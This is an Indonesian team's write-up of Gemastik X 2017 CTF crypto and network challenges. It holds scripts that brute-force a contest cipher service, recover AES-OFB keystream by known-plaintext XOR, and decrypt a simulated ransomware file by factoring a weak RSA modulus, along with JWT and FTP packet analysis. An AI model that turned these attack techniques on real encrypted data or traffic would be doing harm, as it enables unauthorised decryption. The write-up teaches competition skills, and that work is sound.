"Ujian​ ​berikutnya​ ​yang​ ​diberikan​ ​National​ ​Crypto​ ​Institute​ ​adalah​ ​memecahkan​ ​kriptografi
tanpa​ ​mengetahui​ ​pasti​ ​algoritma​ ​yang​ ​digunakan.​ ​Mesin​ ​kriptografi​ ​yang​ ​harus​ ​dipecahkan
dapat​ ​Anda​ ​akses​ ​melalui​ ​jaringan​ ​pada:"

Target​ ​:​ ​nc​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​54321

Solusi  

Diberikan​ ​service​ ​kriptografi​ ​yang​ ​tidak​ ​diketahui.​ ​Melakukan​ ​reverse 


engineering​ ​untuk​ ​mendapatkan​ ​fungsi​ ​encrypt​ ​lumayan​ ​sulit,​ ​sehingga​ ​kami 
menyerah,​ ​kemudian​ ​kami​ ​menyadari​ ​bahwa​ ​cipher​ ​tetap​ ​sama​ ​untuk​ ​substring 
terakhir.​ ​Ilustrasi​ ​:  

$​ ​nc​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​54321

Gemastik​​ ​X​ ​Cipher​​ ​Machine

Break​​ ​This​:​ ​UswyAHZwyHQNRQBlIAUUvy

Flag​:​ ​GEMASTIK​{​plaintext}

You​​ ​can​ ​try​​ ​the​ ​encryption​ ​here​.​ ​Alphabet​​ ​only.

[​PLAINTEXT​]​ ​>​ ​ ​aaaaaaaap

DvmcRFsek

[​PLAINTEXT​]​ ​>​ ​ ​zasdfwaap


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

YBKrEbsek

[​PLAINTEXT​]​ ​>​ ​ ​zzzzzzzap

ksBLWivek

Dapat​ ​dilihat​ ​bahwa​ ​pada​ ​percobaan​ ​pertama,​ ​aaaaaaaap​ ​menjadi​ ​DvmcRFsek,​ ​kemudian
percobaan​ ​kedua​ ​zasdfwaap,​ ​menjadi​ ​YBKrEbsek.​ ​Perhatikan,​ ​dari​ ​string​ ​terakhir​ ​n​ ​sampai​ ​n-k
(k=3)​ ​,​ ​hasil​ ​dekripsinya​ ​tidak​ ​berubah​ ​yaitu​ ​‘aap’​ ​-​ ​>​ ​‘sek’.​ ​Kesimpulannya​ ​adalah​ ​dapat
dilakukan​ ​brute​ ​force​ ​dari​ ​string​ ​terbelakang.

Brute​ ​force​ ​dilakukan​ ​dengan​ ​script​ ​berikut​ ​:

from​​ ​pwn​ ​import​​ ​*

r​ ​=​ ​remote​(​'target.netsec.gemastik.ui.ac.id'​,​ ​54321)

cipher​ ​=​ ​'UswyAHZwyHQNRQBlIAUUvy'

tebak​ ​=​ ​''

print​​ ​r​.​recv​(​400)

for​​ ​c​ ​in​​ ​string​.​lowercase​+​string​.​uppercase:

​ ​ ​ ​bro​ ​=​ ​True

​ ​ ​ ​tebak_​ ​=​ ​tebak​+​c​+(​22​-​len​(​tebak​)-​1​)*​'a'

​ ​ ​ ​print​​ ​tebak_

​ ​ ​ ​r​.​sendline​(​tebak_​[::-​1​])

​ ​ ​ ​hasil​ ​=​ ​r​.​recvline​()[:-​2]

​ ​ ​ ​print​​ ​hasil​[-(​len​(​tebak​)+​1​):],​​ ​cipher​[-(​len​(​tebak​)+​1​):]

​ ​ ​ ​if​​ ​hasil​[-(​len​(​tebak​)+​1​):]​​ ​==​​ ​cipher​[-(​len​(​tebak​)+​1​):]:

​ ​ ​ ​ ​ ​ ​ ​tebak​ ​+=​​ ​c

​ ​ ​ ​ ​ ​ ​ ​bro​ ​=​ ​False


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​ ​ ​ ​ ​ ​break

​ ​ ​ ​print​​ ​tebak

​ ​ ​ ​r​.​recv​(​400)

Script​ ​di​ ​atas​ ​tidak​ ​dapat​ ​dijalankan​ ​dengan​ ​for​ ​(​ ​hasil​ ​akan​ ​tidak​ ​sesuai,​ ​tidak​ ​tahu
kenapa),​ ​jadi​ ​masukkan​ ​karakter​ ​yang​ ​benar​ ​ke​ ​dalam​ ​string​ ​tebak​ ​satu​ ​per​ ​satu.​ ​Sehingga​ ​di
akhir​ ​di​ ​dapatkan​ ​Tebak​ ​ ​=​ ​‘​orblOOcegnellahCrehpiC’

FLAG​ ​:​ ​GEMASTIK{CipherChallengecOOlbro}

Soal​ ​3​ ​:​ ​National​ ​Crypto​ ​Institute​ ​(125​ ​pts) 


 

"Sekarang​ ​Anda​ ​adalah​ ​intelijen​ ​National​ ​Crypto​ ​Institute.​ ​Tugas​ ​pertama​ ​Anda​ ​adalah
memecahkan​ ​enkripsi​ ​AES​ ​yang​ ​ada​ ​pada​ ​sebuah​ ​program.​ ​Kode​ ​Python​ ​nci.py​ ​yang​ ​merupakan
simulasi​ ​reka​ ​ulang​ ​program​ ​dapat​ ​Anda​ ​unduh​ ​di​ ​bawah.​ ​Berkas​ ​hasil​ ​program​ ​yang​ ​harus​ ​Anda
pecahkan​ ​diletakkan​ ​pada​ ​nci.zip​ ​dan​ ​juga​ ​dapat​ ​Anda​ ​unduh​ ​di​ ​bawah."

Solusi  

Script​ ​nci.py​ ​akan​ ​melakukan​ ​enkripsi​ ​pada​ ​file-file​ ​dalam​ ​satu​ ​folder​ ​dengan 
key​ ​dan​ ​iv​ ​yang​ ​sama.​ ​Block​ ​cipher​ ​yang​ ​digunakan​ ​adalah​ ​OFB,​ ​artinya​ ​kita 
dapat​ ​melakukan​ ​XOR​ ​dengan​ ​plaintext​ ​untuk​ ​mendapat​ ​key.  

Dari  berbagai  file  yang  ada  di  mydir,  terdapat  Tux.jpg.  Kami  langsung  google 
tux  jpg  untuk  mendapatkan  file  aslinya.  Didapatkan  Tux.jpg  : 
https://upload.wikimedia.org/wikipedia/commons/5/56/Tux.jpg​.  
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Kemudian​ ​lakukan​ ​dekripsi​ ​dengan​ ​script​ ​berikut​ ​:  

#!/usr/bin/python

f1​ ​=​ ​open​(​'Tux.jpg'​).​read​()

f2​ ​=​ ​open​(​'Tux.jpg.enc'​).​read​()

key​ ​=​ ​''

for​​ ​i​ ​in​​ ​range​(​len​(​f1​)):

​ ​ ​ ​ ​key​ ​+=​​ ​chr​(​ord​(​f1​[​i​])​​ ​^​ ​ord​(​f2​[​i​]))

f3​ ​=​ ​open​(​'flag.zip.enc'​,​ ​'r'​).​read​()

f3_​ ​=​ ​open​(​'flag.zip'​,​ ​'wb')

flagzip​ ​=​ ​''

for​​ ​i​ ​in​​ ​range​(​len​(​f3​)):

​ ​ ​ ​ ​flagzip​ ​+=​​ ​chr​(​ord​(​f3​[​i​])​​ ​^​ ​ord​(​key​[​i​]))

f3_​.​write​(​flagzip)

f3_​.​close​()

f4​ ​=​ ​open​(​'password.txt.enc'​,​ ​'r'​).​read​()

f4_​ ​=​ ​open​(​'password.txt'​,​ ​'wb')

flagzip​ ​=​ ​''

for​​ ​i​ ​in​​ ​range​(​len​(​f4​)):

​ ​ ​ ​ ​flagzip​ ​+=​​ ​chr​(​ord​(​f4​[​i​])​​ ​^​ ​ord​(​key​[​i​]))

f4_​.​write​(​flagzip)

f4_​.​close​()
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Kemudian​ ​extract​ ​flag.zip​ ​dengan​ ​password.txt,​ ​didapatkan​ ​flag.txt 

FLAG​ ​:​ ​GEMASTIK{important_to_kn0w_h0w_block_cipher_works} 

Soal​ ​4​ ​:​ ​Ransomware​ ​Strikes​ ​Back,​ ​Again​ ​(150​ ​pts) 


 

"Ransomware​ ​kembali​ ​menyerang​ ​(lagi)!​ ​Kali​ ​ini​ ​korbannya​ ​banyak.​ ​Anda​ ​sebagai​ ​intelijen
National​ ​Crypto​ ​Institute​ ​tentunya​ ​akan​ ​menganlisis​ ​ransomware​ ​tersebut.​ ​Simulasi​ ​enkripsi
yang​ ​dilakukan​ ​ransomware​ ​sudah​ ​dibuat​ ​ulang​ ​menggunakan​ ​Python.​ ​Berkas
nci-ransomware-sim-new.py​ ​dapat​ ​Anda​ ​unduh​ ​di​ ​bawah.​ ​Anda​ ​harus​ ​berhasil​ ​mendekripsi​ ​berkas
flag-new.pdf​ ​yang​ ​merupakan​ ​berkas​ ​penting."

Solusi  

(*digunakan​ ​file​ ​flag-new.df​ ​dan​ ​nci-ransomware-sim-new.py​ ​yang​ ​merupakan 


versi​ ​lebih​ ​mudah​ ​dari​ ​sebelumnya*) 

Perhatikan​ ​fungsi​ ​encrypt​ ​pada​ ​nci-ransomware-sim-new.py​ ​:  

def​​ ​encrypt​(​bytes​):

​ ​ ​ ​ ​f​ ​=​ ​os​.​urandom​(​32)

​ ​ ​ ​ ​encrypted_bytes​ ​=​ ​[]

​ ​ ​ ​ ​i​ ​=​ ​0

​ ​ ​ ​ ​for​​ ​b​ ​in​​ ​bytes:

​ ​ ​ ​ ​ ​ ​ ​ ​encrypted_bytes​.​append​(​chr​(​ord​(​b​)​ ​^​ ​ord​(​f​[​i​])))


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​ ​ ​ ​ ​ ​ ​i​ ​=​ ​(​i​ ​+​ ​1​)​ ​%​ ​32

​ ​ ​ ​ ​g​ ​=​ ​int​(​'0x'​​ ​+​ ​f​.​encode​(​'hex'​),​​ ​16)

​ ​ ​ ​ ​a​,​ ​b​,​ ​c​,​ ​d​ ​=​ ​generate​(​256)

​ ​ ​ ​ ​h​ ​=​ ​pow​(​g​,​ ​c​,​ ​a​ ​*​ ​b)

​ ​ ​ ​ ​hh​ ​=​ ​"{0:x}"​.​format​(​h)

​ ​ ​ ​ ​if​​ ​(​len​(​hh​)​ ​%​ ​2​ ​!=​​ ​0​):​​ ​hh​ ​=​ ​'0'​​ ​+​ ​hh

​ ​ ​ ​ ​s​ ​=​ ​hh​.​decode​(​'hex')

​ ​ ​ ​ ​for​​ ​ch​ ​in​​ ​s:

​ ​ ​ ​ ​ ​ ​ ​ ​encrypted_bytes​.​append​(​chr​(​ord​(​ch​)​ ​^​ ​(​len​(​encrypted_bytes​)​ ​%​ ​256​)))

​ ​ ​ ​ ​encrypted_bytes​.​append​(​chr​(​len​(​s​)))

​ ​ ​ ​ ​x​ ​=​ ​"{0:x}"​.​format​(​a​ ​*​ ​b)

​ ​ ​ ​ ​y​ ​=​ ​"{0:x}"​.​format​(​c)

​ ​ ​ ​ ​z​ ​=​ ​"{0:x}"​.​format​(​d)

​ ​ ​ ​ ​if​​ ​(​len​(​x​)​ ​%​ ​2​ ​!=​​ ​0​):​​ ​x​ ​=​ ​'0'​​ ​+​ ​x

​ ​ ​ ​ ​if​​ ​(​len​(​y​)​ ​%​ ​2​ ​!=​​ ​0​):​​ ​y​ ​=​ ​'0'​​ ​+​ ​y

​ ​ ​ ​ ​if​​ ​(​len​(​z​)​ ​%​ ​2​ ​!=​​ ​0​):​​ ​z​ ​=​ ​'0'​​ ​+​ ​z

​ ​ ​ ​ ​x​ ​=​ ​x​.​decode​(​'hex')

​ ​ ​ ​ ​y​ ​=​ ​y​.​decode​(​'hex')

​ ​ ​ ​ ​z​ ​=​ ​z​.​decode​(​'hex')

​ ​ ​ ​ ​k1​ ​=​ ​chr​(​len​(​x​))​​ ​+​ ​x​ ​+​ ​chr​(​len​(​y​))​​ ​+​ ​y

​ ​ ​ ​ ​k2​ ​=​ ​chr​(​len​(​x​))​​ ​+​ ​x​ ​+​ ​chr​(​len​(​z​))​​ ​+​ ​z


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​ ​ ​return​​ ​''​.​join​(​encrypted_bytes​),​​ ​k1​,​ ​k2 

Langkah2nya​ ​yaitu​ ​sebagai​ ​berikut​ ​:  

1. Lakukan​ ​XOR​ ​pada​ ​plaintext​ ​dengan​ ​key​ ​sepanjang​ ​10​ ​bytes 


2. Key​ ​kemudian​ ​dienkripsi​ ​menggunakan​ ​RSA 
3. Kemudian​ ​cipher​ ​text​ ​akan​ ​mempunyai​ ​skema​ ​seperti​ ​berikut  

|plaintext​ ​^​ ​key​ ​|​ ​key_rsa_encrypted^(len(plaintext)+i)​ ​|​ ​chr(len(key_rsa_encrupted)) 

4. Key​ ​x​ ​=​ ​a*b,​ ​dan​ ​y​ ​=​ ​c​ ​(public​ ​key)​ ​diberikan​ ​dengan​ ​skema​ ​seperti 
berikut​ ​:  

|chr(len(x))​ ​|​ ​x​ ​|​ ​chr(len(y))​ ​|​ ​y 

Dilakukan​ ​enkripsi​ ​dengan​ ​script​ ​berikut​ ​:  

#!/usr/bin/python

def​​ ​egcd​(​a​,​ ​b​):

​ ​ ​ ​ ​x​,​y​,​ ​u​,​v​ ​=​ ​0​,​1​,​ ​1​,0

​ ​ ​ ​ ​while​​ ​a​ ​!=​​ ​0:

​ ​ ​ ​ ​ ​ ​ ​ ​q​,​ ​r​ ​=​ ​b​//a,​ ​b%a

​ ​ ​ ​ ​ ​ ​ ​ ​m​,​ ​n​ ​=​ ​x​-​u​*​q​,​ ​y​-​v​*q

​ ​ ​ ​ ​ ​ ​ ​ ​b​,​a​,​ ​x​,​y​,​ ​u​,​v​ ​=​ ​a​,​r​,​ ​u​,​v​,​ ​m​,n

​ ​ ​ ​ ​ ​ ​ ​ ​gcd​ ​=​ ​b

​ ​ ​ ​ ​return​​ ​gcd​,​ ​x​,​ ​y

#GET​ ​KEY

def​​ ​get_key​()​​ ​:
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​ ​ ​f​ ​=​ ​open​(​'flag-new.pdf.key'​,​ ​'r'​).​read​()

​ ​ ​ ​ ​lenx​ ​=​ ​ord​(​f​[​0​])

​ ​ ​ ​ ​f​ ​=​ ​f​[​1​:]

​ ​ ​ ​ ​x​ ​=​ ​int​(​f​[:​lenx​].​encode​(​'hex'​),​​ ​16)

​ ​ ​ ​ ​a​ ​=​ ​110084881​​ ​#factordb

​ ​ ​ ​ ​b​ ​=​ ​1055726937551105570109830188232772865166731

​ ​ ​ ​ ​f​ ​=​ ​f​[​lenx​:]

​ ​ ​ ​ ​leny​ ​=​ ​ord​(​f​[​0​])

​ ​ ​ ​ ​f​ ​=​ ​f​[​1​:]

​ ​ ​ ​ ​y​ ​=​ ​int​(​f​[:​leny​].​encode​(​'hex'​),​​ ​16)

​ ​ ​ ​ ​phi​ ​=​ ​(​a​-​1​)*(​b​-​1)

​ ​ ​ ​ ​gcd​,​ ​d​,​ ​y_​ ​=​ ​egcd​(​y​,​phi)

​ ​ ​ ​ ​return​​ ​d​,x

#PLAINTEXT

def​​ ​get_plaintext​():

​ ​ ​ ​ ​d​,​x​ ​=​ ​get_key​()

​ ​ ​ ​ ​plaintext​ ​=​ ​open​(​'flag-new.pdf.ranzomwared'​,​ ​'r'​).​read​()

​ ​ ​ ​ ​lenkey​ ​=​ ​ord​(​plaintext​[-​1​])

​ ​ ​ ​ ​plaintext​ ​ ​=​ ​plaintext​[:-​1]

​ ​ ​ ​ ​fkey​ ​=​ ​''

​ ​ ​ ​ ​i​ ​=​ ​0

​ ​ ​ ​ ​for​​ ​c​ ​in​​ ​plaintext​[-​lenkey​:]:

​ ​ ​ ​ ​ ​ ​ ​ ​fkey​ ​+=​​ ​chr​(​ord​(​c​)^((​len​(​plaintext​)-​lenkey​)+​i​)%​256)

​ ​ ​ ​ ​ ​ ​ ​ ​i​ ​+=​​ ​1
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​ ​ ​fkey​ ​=​ ​int​(​fkey​.​encode​(​'hex'​),​​ ​16)

​ ​ ​ ​ ​fkey​ ​=​ ​pow​(​fkey​,​ ​d​,​ ​x)

​ ​ ​ ​ ​keyz​ ​=​ ​hex​(​fkey​)[​2​:-​1​].​decode​(​'hex')

​ ​ ​ ​ ​hasil​ ​=​ ​''

​ ​ ​ ​ ​for​​ ​i​ ​in​​ ​range​(​len​(​plaintext​)):

​ ​ ​ ​ ​ ​ ​ ​ ​hasil​ ​+=​​ ​chr​(​ord​(​plaintext​[​i​])^​ord​(​keyz​[​i​%​len​(​keyz​)]))

​ ​ ​ ​ ​f__​ ​=​ ​open​(​'final.pdf'​,​ ​'wb')

​ ​ ​ ​ ​f__​.​write​(​hasil)

​ ​ ​ ​ ​f__​.​close​()

get_plaintext​() 

Kemudian​ ​buka​ ​final.py,​ ​didapatkan  

FLAG​ ​:  

   
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

KATEGORI​ ​:​ ​Network​ ​Packet​ ​Service 

Soal​ ​1​ ​:​ ​JSON​ ​Web​ ​Token​ ​(75​ ​pts) 


 

"Anda​ ​melakukan​ ​sniffing​ ​di​ ​sebuah​ ​kafe.​ ​Sepertinya​ ​ada​ ​otentikasi​ ​HTTP​ ​menarik​ ​yang
melewati​ ​jaringan."

Solusi  

Diberikan​ ​sebuah​ ​rekaman​ ​paket​ ​data​ ​/​ ​pcapng.​ ​Dari​ ​soal​ ​yang​ ​dinyatakan​ ​JSON 
Web​ ​Token,​ ​kami​ ​coba​ ​cari​ ​dan​ ​telusuri​ ​beberapa​ ​paket​ ​yang​ ​Authorization 
Bearer​ ​nya​ ​menggunakan​ ​JWT​ ​(Json​ ​Web​ ​Token).​ ​Adapun​ ​ciri​ ​ciri​ ​dari​ ​Auth​ ​Bearer 
JWT​ ​adalah​ ​depannya​ ​diawali​ ​dengan​ ​‘eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9’​ ​yang 
menyatakan​ ​base64​ ​algoritma​ ​otentikasinya.​ ​Kami​ ​menggunakan​ ​aplikasi​ ​Wireshark 
untuk​ ​menganalisis​ ​paket,​ ​di​ ​awal​ ​kami​ ​coba​ ​filter​ ​paket​ ​data​ ​tersebut​ ​dengan 
filter​ ​http​ ​saja​ ​untuk​ ​melihat​ ​paket​ ​http​ ​saja.​ ​Setelah​ ​itu​ ​saat​ ​kami 
telusuri,​ ​pada​ ​paket​ ​ke​ ​205​ ​kami​ ​menemukan​ ​bahwa​ ​paket​ ​205​ ​terdapat​ ​kode 
otentikasi 
‘​eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJHZW1hc3RpayIsImlhdCI6MTQ5ODI5
ODAzNSwiZXhwIjoxNTI5ODM0MDM1LCJhdWQiOiJnZW1hc3Rpay51aS5hYy5pZCIsInN1YiI6ImdlbW
FzdGlrQGNzLnVpLmFjLmlkIiwiQ29tcGV0aXRpb24iOiJDVEYiLCJGbGFnIjoiTlVMTCJ9.LEspUiP
24ojkrxF15aaHAtmBF3yDDK0oqbUGzHuRNTY​’.​ ​Kemudian​ ​kami​ ​coba​ ​decrypt​ ​dengan 
menggunakan​ ​website​ ​jwt.io​ ​dan​ ​didapatkan​ ​data​ ​payload​ ​yang​ ​berupa  

​ ​ ​"iss":​ ​"Gemastik", 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​"iat":​ ​1498298035, 

​ ​ ​"exp":​ ​1529834035, 

​ ​ ​"aud":​ ​"gemastik.ui.ac.id", 

​ ​ ​"sub":​ ​"gemastik@cs.ui.ac.id", 

​ ​ ​"Competition":​ ​"CTF", 

​ ​ ​"Flag":​ ​"NULL" 

Kami​ ​belum​ ​menemukan​ ​flagnya​ ​kemudian​ ​kami​ ​coba​ ​cari​ ​lagi​ ​dan​ ​kami​ ​menemukan 
pada​ ​paket​ ​249​ ​yang​ ​ternyata​ ​otentikasinya​ ​juga​ ​menggunakan​ ​JWT​ ​dan​ ​kami​ ​punya 
‘​eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJHZW1hc3RpayIsImlhdCI6MTQ5ODI5
ODAzNSwiZXhwIjoxNTI5ODM0MDM1LCJhdWQiOiJnZW1hc3Rpay51aS5hYy5pZCIsInN1YiI6ImdlbW
FzdGlrQGNzLnVpLmFjLmlkIiwiQ29tcGV0aXRpb24iOiJDVEYiLCJGbGFnIjoiR0VNQVNUSUt7SldU
X3N0cnVjdHVyZV9pc19zaW1wbGV9In0.4mOlHNDo1Mdd72X-BL35gbEJ99z2j7j8I5jzLE-IXMI​’ 

Saat​ ​kami​ ​coba​ ​decrypt​ ​di​ ​jwt.io,​ ​kami​ ​mendapatkan​ ​payload​ ​data​ ​yang​ ​ternyata 
berisi​ ​flag​ ​yang​ ​kami​ ​cari.​ ​Adapun​ ​payload​ ​datanya​ ​adalah​ ​seperti​ ​berikut 

​ ​ ​"iss":​ ​"Gemastik", 

​ ​ ​"iat":​ ​1498298035, 

​ ​ ​"exp":​ ​1529834035, 

​ ​ ​"aud":​ ​"gemastik.ui.ac.id", 

​ ​ ​"sub":​ ​"gemastik@cs.ui.ac.id", 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​"Competition":​ ​"CTF", 

​ ​ ​"Flag":​ ​"GEMASTIK{JWT_structure_is_simple}" 

Flag​ ​:​ ​GEMASTIK{JWT_structure_is_simple} 

Soal​ ​2​ ​:​ ​Network​ ​Forensic​ ​(100​ ​pts) 


 

"Terjadi​ ​insiden​ ​serangan​ ​yang​ ​terjadi​ ​pada​ ​sebuah​ ​server.​ ​Anda​ ​sebagai​ ​investigator
diundang​ ​untuk​ ​melakukan​ ​analisis.​ ​Bagian​ ​rekaman​ ​paket​ ​data​ ​jaringan​ ​yang​ ​dicurigai
mengandung​ ​informasi​ ​penting​ ​terkait​ ​serangan​ ​yang​ ​terjadi​ ​dapat​ ​Anda​ ​unduh​ ​di​ ​bawah."

Solusi  

Diberikan​ ​sebuah​ ​rekaman​ ​lalu​ ​lintas​ ​paket​ ​data​ ​jaringan​ ​pengiriman​ ​file 
melalui​ ​FTP.​ ​Ketika​ ​kami​ ​melihat​ ​seluruh​ ​paket​ ​yang​ ​tersedia​ ​dengan 
menggunakan​ ​filter​ ​ftp​ ​untuk​ ​mendapatkan​ ​protocol​ ​FTP​ ​saja,​ ​kami​ ​mendapatkan 
suatu​ ​informasi​ ​mencurigakan​ ​pada​ ​paket​ ​166​ ​yang​ ​mana​ ​informasinya​ ​:​ ​‘Request: 
STOR​ ​exploit.zip’.​ ​Langsung​ ​saja​ ​kami​ ​coba​ ​untuk​ ​search​ ​Ctrl+F​ ​pada​ ​Wireshark 
dan​ ​search​ ​dengan​ ​menggunakan​ ​filter​ ​hex,​ ​kemudian​ ​kami​ ​search​ ​hex​ ​semua​ ​paket 
dengan​ ​file​ ​signature​ ​dari​ ​.zip​ ​yaitu​ ​50​ ​4B​ ​03​ ​04.​ ​Dan​ ​kami​ ​mendapatkan​ ​proses 
storing​ ​file​ ​exploit.zip​ ​terdapat​ ​pada​ ​paket​ ​168.​ ​Kemudian​ ​kami​ ​coba​ ​copy 
semua​ ​Data​ ​(839​ ​bytes)​ ​pada​ ​paket​ ​168​ ​dalam​ ​bentuk​ ​hex​ ​nya​ ​dan​ ​kami​ ​coba 
extract​ ​dengan​ ​menggunakan​ ​kode​ ​python 

 
 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

hx​ ​= 
'50:4b:03:04:14:00:09:00:08:00:3b:7b:d3:4a:e1:52:db:ed:8f:02:00:00:0c:06:00:
00:09:00:1c:00:65:78:70:6c:6f:69:74:2e:63:55:54:09:00:03:91:8a:47:59:74:8b:4
7:59:75:78:0b:00:01:04:f5:01:00:00:04:14:00:00:00:66:05:43:05:1c:e3:1b:a9:b3
:48:28:30:e4:e4:49:e5:12:90:87:5a:23:c0:78:18:0d:e1:64:6d:56:f1:0b:fb:d1:a8:
1a:db:d5:38:55:66:36:ba:aa:7f:13:ad:f8:5b:ed:08:bb:d1:a6:1d:71:a8:12:53:b2:f
d:c1:62:83:c6:a9:ff:ed:af:76:b9:53:22:2b:43:1a:9d:f7:73:28:ed:0e:15:73:bd:7a
:2e:d9:0e:45:dc:41:ce:51:c6:3e:b3:2a:a7:6c:3e:b7:0d:34:17:b9:f5:83:b7:73:52:
2c:ae:03:86:e3:85:d7:f1:f7:13:2f:d2:13:5c:56:50:64:d4:53:b3:4c:f1:32:9a:86:b
3:7d:45:0a:40:98:c1:b3:4c:45:5b:6b:1f:c5:2d:20:c3:29:55:c5:18:2c:03:2c:9f:46
:d0:b0:26:99:c0:9d:72:ce:e2:f1:c6:ff:29:fe:0d:53:a4:0d:44:39:2a:62:51:86:96:
32:af:3c:04:04:6c:a6:27:f0:54:34:3f:5d:8c:f3:9a:f2:45:50:cd:e4:72:b0:ea:24:d
9:98:d1:2c:00:76:46:ab:21:b9:2e:09:34:ba:fb:2a:f7:91:05:31:76:1a:7a:66:22:bf
:37:ef:8b:43:27:55:3b:33:b8:d9:de:bc:22:10:e0:08:4d:e0:6b:ba:28:fa:de:09:d3:
39:6f:ad:84:df:2d:b1:cf:1d:a1:8f:82:25:f3:07:e3:eb:e4:f8:f7:d6:d7:d3:29:dc:b
e:33:96:94:2b:26:a5:96:6e:bc:18:92:71:4d:44:1c:d3:04:e5:94:d1:38:2b:65:01:56
:93:7e:a9:c2:96:7e:fb:42:1c:f3:5d:37:da:da:b9:b1:ad:28:f7:48:be:5d:16:a5:ee:
86:f6:b1:07:30:c7:02:80:d7:a0:07:51:87:90:95:38:bf:c0:b4:54:4b:22:a4:7e:e6:a
e:6d:af:2b:dd:48:d1:a0:ea:15:42:bf:1e:30:5f:e0:19:48:fa:56:bf:48:9f:d6:d9:fb
:54:0b:7d:ff:81:4b:5f:27:fd:8c:0f:f8:15:fd:e9:f3:73:c4:49:7f:3d:57:15:8a:d8:
e3:4f:eb:4b:74:2d:1f:b5:f2:29:b4:8c:2f:6b:78:ea:4e:8d:95:4f:39:4d:57:f7:fa:e
